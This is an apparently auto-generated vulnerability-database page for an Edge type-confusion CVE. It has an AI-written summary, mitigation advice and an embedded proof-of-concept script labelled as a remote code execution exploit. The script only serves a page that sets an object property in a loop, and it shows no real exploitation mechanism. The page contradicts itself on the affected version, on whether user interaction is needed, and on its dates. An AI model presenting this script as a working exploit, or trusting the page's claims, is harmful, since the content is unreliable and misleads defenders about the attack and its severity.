CVE-2026-58289: CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') in Microsoft Microsoft Edge (Chromium-based)
Access of resource using incompatible type ('type confusion') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.
AI Analysis
Technical Summary
This vulnerability, identified as CWE-843 (Type Confusion), affects Microsoft Edge (Chromium-based) version 1.0.0.0. It allows an attacker without privileges or user interaction to execute code remotely by exploiting improper handling of resource types. The CVSS 3.1 base score is 9.0, indicating critical severity with high impact on confidentiality, integrity, and availability. Microsoft has released an official fix for this vulnerability.
Potential Impact
Successful exploitation can lead to remote code execution with full impact on system confidentiality, integrity, and availability. This means an attacker could run arbitrary code on the affected system remotely without requiring user interaction or privileges.
Mitigation Recommendations
An official fix is available from Microsoft. Users and administrators should apply the security update provided in the Microsoft advisory at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289 to remediate this vulnerability.
Indicators of Compromise
- exploit-code: # Exploit Title: Microsoft Edge 150.0.4078.48 - RCE # CVE: CVE-2026-58289 # Date: 2026-07-10 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://microsoft.com # Software Link: https://www.microsoft.com/en-us/edge # Affected: Microsoft Edge (Chromium-based) before 150.0.4078.48 # Tested on: Microsoft Edge 150.0.4070.x (Windows 11) # Category: Remote # Platform: Windows # Exploit Type: Remote Code Execution # CVSS: 9.0 (Critical) # Description: Access of Resource Using Incompatible Type ('Type Confusion' - CWE-843) in Microsoft Edge (Chromium-based) V8 engine allows an unauthorized attacker to execute arbitrary code over a network by visiting a malicious webpage. # Fixed in: Microsoft Edge 150.0.4078.48 (Stable Channel) # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # --port Custom port (default: 8080) # # Notes: # • This is a Proof of Concept only. No public full exploit is available yet. # • For educational and research purposes. # • Requires vulnerable version of Microsoft Edge. # # How to Use # # Step 1: # Run the Python server: python3 exploit.py # # Step 2: # Open http://localhost:8080 in a vulnerable version of Microsoft Edge. # # Step 3: # Monitor the browser process for crashes or code execution. def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╝ """) import http.server import socketserver import sys banner() HTML_CONTENT = """<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CVE-2026-58289 PoC</title> </head> <body> <h1>CVE-2026-58289 Type Confusion PoC - For Testing Only</h1> <script> function triggerTypeConfusion() { let obj1 = { a: 1, b: 2 }; for (let i = 0; i < 10000; i++) { dummyFunc(obj1); } let arr = new Array(0x100); let confused = obj1; confused.something = 0x41414141; console.log("[+] Type confusion attempted."); } function dummyFunc(o) { return o.a + o.b; } window.onload = function() { try { triggerTypeConfusion(); } catch(e) { console.error("Error:", e); } }; </script> </body> </html> """ class Handler(http.server.SimpleHTTPRequestHandler): def do_GET(self): if self.path in ['/poc.html', '/']: self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(HTML_CONTENT.encode()) else: self.send_response(404) self.end_headers() port = 8080 if len(sys.argv) > 1: try: port = int(sys.argv[1]) except: pass print(f"[+] Starting PoC server on http://localhost:{port}") print("[+] Open the URL in vulnerable Microsoft Edge") try: with socketserver.TCPServer(("", port), Handler) as httpd: httpd.serve_forever() except KeyboardInterrupt: print("\n[-] Server stopped.") except Exception as e: print(f"[-] Error: {e}")
CVE-2026-58289: CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') in Microsoft Microsoft Edge (Chromium-based)
Description
Access of resource using incompatible type ('type confusion') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.
CVSS v3.1
Score 9.0critical
Affected software
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
This vulnerability, identified as CWE-843 (Type Confusion), affects Microsoft Edge (Chromium-based) version 1.0.0.0. It allows an attacker without privileges or user interaction to execute code remotely by exploiting improper handling of resource types. The CVSS 3.1 base score is 9.0, indicating critical severity with high impact on confidentiality, integrity, and availability. Microsoft has released an official fix for this vulnerability.
Potential Impact
Successful exploitation can lead to remote code execution with full impact on system confidentiality, integrity, and availability. This means an attacker could run arbitrary code on the affected system remotely without requiring user interaction or privileges.
Mitigation Recommendations
An official fix is available from Microsoft. Users and administrators should apply the security update provided in the Microsoft advisory at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289 to remediate this vulnerability.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- microsoft
- Date Reserved
- 2026-06-29T21:59:30.871Z
- Cvss Version
- 3.1
- State
- PUBLISHED
- Remediation Level
- official-fix
- Vendor Advisory Urls
- [{"url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289","vendor":"Microsoft"}]
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft Edge 150.0.4078.48 - RCE
# Exploit Title: Microsoft Edge 150.0.4078.48 - RCE # CVE: CVE-2026-58289 # Date: 2026-07-10 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://microsoft.com # Software Link: https://www.microsoft.com/en-us/edge # Affected:... (3373 more characters)
Threat ID: 6a48210527e9c79719accc61
Added to database: 07/03/2026, 20:52:21 UTC
Last enriched: 08/17/2026, 14:12:37 UTC
Last updated: 08/17/2026, 22:16:13 UTC
Views: 104
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